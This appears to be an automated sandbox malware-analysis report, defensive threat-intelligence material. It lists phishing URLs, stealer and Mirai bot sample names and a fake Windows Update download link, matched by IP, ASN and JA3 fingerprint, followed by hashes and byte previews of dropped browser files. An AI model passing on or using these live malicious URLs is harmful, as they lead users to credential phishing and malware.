	https://wetransfer.com/downloads/21820466a51be0cc0de4ef5fd28415d320241023112541/61ecbec42424c68f99ca983cd530758a20241023112545/5d3030?t_exp=1729941941&t_lsid=761fb8c4-59e5-4423-a2fe-24d132de0406&t_network=email&t_rid=YXV0aDB8NjcxMjZmN2QzOGFjMDNkYThkOGJmMDM3&t_s=download_link&t_ts=1729682745&utm_campaign=TRN_TDL_01&utm_source=sendgrid&utm_medium=email&trk=TRN_TDL_01	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://forsa.zyotina.com/	Get hash	malicious	Unknown	Browse	151.101.1.229
sni1gl.wpc.omegacdn.net	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	RTGS_UCB_DCCB_docx.html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	PO 635614 635613_CQDM.html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://fromsmash.com/8A4OM5kRFs-et	Get hash	malicious	Unknown	Browse	152.199.21.175
	PayrolNotificationBenefit_.html	Get hash	malicious	Mamba2FA	Browse	152.199.21.175
cdnjs.cloudflare.com	https://landsmith.ae/continue.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://forcallblitz.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.amalkongsirezeki20245.org-now.info/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.25.14
	PO 635614 635613_CQDM.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://merzcon-my.sharepoint.com/:f:/g/personal/cnico_merzcon_onmicrosoft_com/EmjHG5K9dP9BtgBBeTTFhjABJRRLGM6IhVrJlwBTMWY8rg?e=pfkS1f	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/b%C2%ADr%C2%ADi%C2%ADa%C2%ADn%C2%ADs%C2%ADd%C2%ADr%C2%ADe%C2%ADn%C2%ADn%C2%ADa%C2%ADn%C2%ADm%C2%ADo%C2%AD.%C2%ADc%C2%ADo%C2%ADm%C2%AD.%C2%ADp%C2%ADl/ZsS8z/	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://s.id/closingdocview67111111	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://railrent-railrent.powerappsportals.com/	Get hash	malicious	Unknown	Browse	172.67.140.116
	http://74.248.121.8/d/msdownload/update/software/defu/2024/10/updateplatform.amd64fre_d3f6f8300855e56b8ed00da6dac55a3c4cbf8c20.exe?cacheHostOrigin=au.download.windowsupdate.com	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://landsmith.ae/continue.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	mm.exe	Get hash	malicious	Unknown	Browse	172.67.177.220
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	https://www.yola.com/es/zendesk-sso?return_to=http://york.iwill.app.br/	Get hash	malicious	Unknown	Browse	172.67.4.35
	https://www.yola.com/es/zendesk-sso?return_to=http://york.iwill.app.br/	Get hash	malicious	Unknown	Browse	104.22.21.209
	https://tarah.com.sa/reee	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.yola.com/es/zendesk-sso?return_to=http://york.iwill.app.br/	Get hash	malicious	Unknown	Browse	104.22.21.209
AMAZON-02US	powerpc.elf	Get hash	malicious	Unknown	Browse	54.189.236.91
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	18.132.138.58
	mm.exe	Get hash	malicious	Unknown	Browse	3.111.160.216
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	15.207.67.212
	bot.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse	54.171.230.55
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	13.123.23.92
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	3.13.12.6
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	54.171.230.55
	na.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	diageo1.bat	Get hash	malicious	Unknown	Browse	15.206.33.214
FASTLYUS	https://landsmith.ae/continue.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	199.233.13.45
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	https://app.affine.pro/workspace/6f321ca4-f766-41a0-bd18-9a1d8692fccd/OWaJzjD5UQBLWE3oGXvZY	Get hash	malicious	HtmlDropper	Browse	151.101.194.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse	185.199.109.133
FASTLYUS	https://landsmith.ae/continue.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	199.233.13.45
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	https://app.affine.pro/workspace/6f321ca4-f766-41a0-bd18-9a1d8692fccd/OWaJzjD5UQBLWE3oGXvZY	Get hash	malicious	HtmlDropper	Browse	151.101.194.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse	185.199.109.133

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://74.248.121.8/d/msdownload/update/software/defu/2024/10/updateplatform.amd64fre_d3f6f8300855e56b8ed00da6dac55a3c4cbf8c20.exe?cacheHostOrigin=au.download.windowsupdate.com	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27
	https://landsmith.ae/continue.html	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 184.28.90.27
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 184.28.90.27
	1863415243647.exe	Get hash	malicious	AgentTesla	Browse	4.175.87.197 184.28.90.27
	https://www.yola.com/es/zendesk-sso?return_to=http://york.iwill.app.br/	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27
	https://www.yola.com/es/zendesk-sso?return_to=http://york.iwill.app.br/	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27
	SecuriteInfo.com.W32.MSIL_Kryptik.KMZ.gen.Eldorado.27390.3879.exe	Get hash	malicious	Remcos	Browse	4.175.87.197 184.28.90.27
	https://tarah.com.sa/reee	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27
	https://www.yola.com/es/zendesk-sso?return_to=http://york.iwill.app.br/	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27
	https://app.affine.pro/workspace/6f321ca4-f766-41a0-bd18-9a1d8692fccd/OWaJzjD5UQBLWE3oGXvZY	Get hash	malicious	HtmlDropper	Browse	4.175.87.197 184.28.90.27

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 24 08:57:22 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9893346838623405
Encrypted:	false
SSDEEP:	48:8ddjTLP+HnidAKZdA1FehwiZUklqehoxy+3:8zf6zy
MD5:	8A206D34B5A8C820C74FF8556FF59D13
SHA1:	BED77CC80EEDA772FC6C64C8F18EFF92A7EECEB4
SHA-256:	53FB9C3FFB700BCABA54E1C243122D5049818A3F461CEA81B3ECC173BE5C85C7
SHA-512:	C54A7D2570E6C7D1A98DAFC4FE493A84A0F445AC42B73F526A440A1112CC550B867FB966EDFFE957472D05D3D369A1CE2A6ABF1EA479E6008FD94F8E27A4F03B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....J....%..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IXY!O....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXYO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXYO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXYO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VXY+O...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............V.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 24 08:57:22 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.005797464568175
Encrypted:	false
SSDEEP:	48:8qdjTLP+HnidAKZdA1seh/iZUkAQkqehZxy+2:8Gf09QCy
MD5:	6E9602400BD9369B73267651B588924A
SHA1:	468B73EC1BEE471F741F8CF59D26C0C4A92BDE55
SHA-256:	E8ECC81C9C79E7ACED3B790028E1E3113C333B4B9015FE8157A1C334A01156B7
SHA-512:	7F5ED5F0F079F787C01956539FBB227D831C3149E8B6AC256B044EABD88ECB78E848B0229361C692B06A3B2E31087B6A2EE069416EAEC1B490A676204D6AFBC5
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........%..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IXY!O....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXYO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXYO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXYO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VXY+O...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............V.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.011757374415479
Encrypted:	false
SSDEEP:	48:87djTLPAHnidAKZdA14meh7sFiZUkmgqeh7sXxy+BX:8RfOn3y
MD5:	25D78A40B48221357037312AA3B01CD5
SHA1:	FC27B4F310FAFC2F5EEF418F5FAE779FE222828F
SHA-256:	533AAB492234F37B6B57D668F996B811080692732BA364A48DCC02307B7383EC
SHA-512:	5295091C103AD56588BDFA9ABF0715749978AFD64D0B3DD3C0C1E468155B7FA1A6DB4DBA6F23184F8E05C6F1F96F497C637C404DE2A89D496561F23AE2346074
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IXY!O....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXYO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXYO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXYO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............V.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 24 08:57:22 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.004421885345213
Encrypted:	false
SSDEEP:	48:83djTLP+HnidAKZdA1TehDiZUkwqehdxy+R:81fvpy
MD5:	CF89C32AD210145FB0F76AB1183B13EE
SHA1:	788476B257DA27C50184982045CBEE9590249458
SHA-256:	1154D6AFACC4722A7F96E1313D9E25105D96B4FD9A904F32A7561E90574F0506
SHA-512:	0C6AD430867EAAAB726CB304180183F7DFF0AC6F700ED9BA8A3A4B62A3D4C0BE58A263A3349398302EB3872A32F0207AB780A646D83EC93AFD9050256949685A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....Q....%..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IXY!O....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXYO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXYO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXYO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VXY+O...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............V.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 24 08:57:22 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9923298656123607
Encrypted:	false
SSDEEP:	48:8+djTLP+HnidAKZdA1dehBiZUk1W1qehTxy+C:8Cfv9ly
MD5:	5D87630FE1156425D299768BE96745E0
SHA1:	5C8BE1679333E0FB798D02591E799EA071DFC36D
SHA-256:	766FF5294F7912D70B120DE624CAC12843228BBEEB1D6E57D2BF54E3052C9EDA
SHA-512:	F9D2254F8B3CE00EA1108C88D41C60E14D752BF5C7AA51F46DEE89B1C927F2B82ED3F863B6302A75FA7C803900E678AAA3A835F57097A495DBDCAA828CEE90E5
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........%..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IXY!O....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXYO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXYO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXYO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VXY+O...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............V.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 24 08:57:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.998617099201067
Encrypted:	false
SSDEEP:	48:8rHdjTLP+HnidAKZdA1duTeehOuTbbiZUk5OjqehOuTblxy+yT+:8rFfTTfTbxWOvTb3y7T
MD5:	F0F48F175DE4B5441BBC2FA5505A73B1
SHA1:	14A2323C5D09690CD6649FD5DA53078350BB0D7A
SHA-256:	6D957C3736DE2DA7DFAD19B0F0B4481690E476F2453542B7E5277687215B52E8
SHA-512:	FE80C56FCE0CBACFB2E7AFC5096CD9B8CA7DE2B748D6812DA537E2C2FE64FE36A8E059992EA465006346F43086E1FA2A36E667FA621D5FCC72375F508B3785AD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........%..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IXY!O....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXYO....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXYO....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXYO..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VXY+O...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............V.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10796
Entropy (8bit):	7.946024875001343
Encrypted:	false
SSDEEP:	192:aPzBBDKs07GiH528urXXSjD4/voR3Euri/in9Q28oLaIAQLdCYXQIDeoIdv60:aPVBQ7P5nIyjD+oRnr4inJdANuGdC0
MD5:	12BDACC832185D0367ECC23FD24C86CE
SHA1:	4422F316EB4D8C8D160312BB695FD1D944CBFF12
SHA-256:	877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
SHA-512:	36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7
Preview:	.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.......dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.\|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H\|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
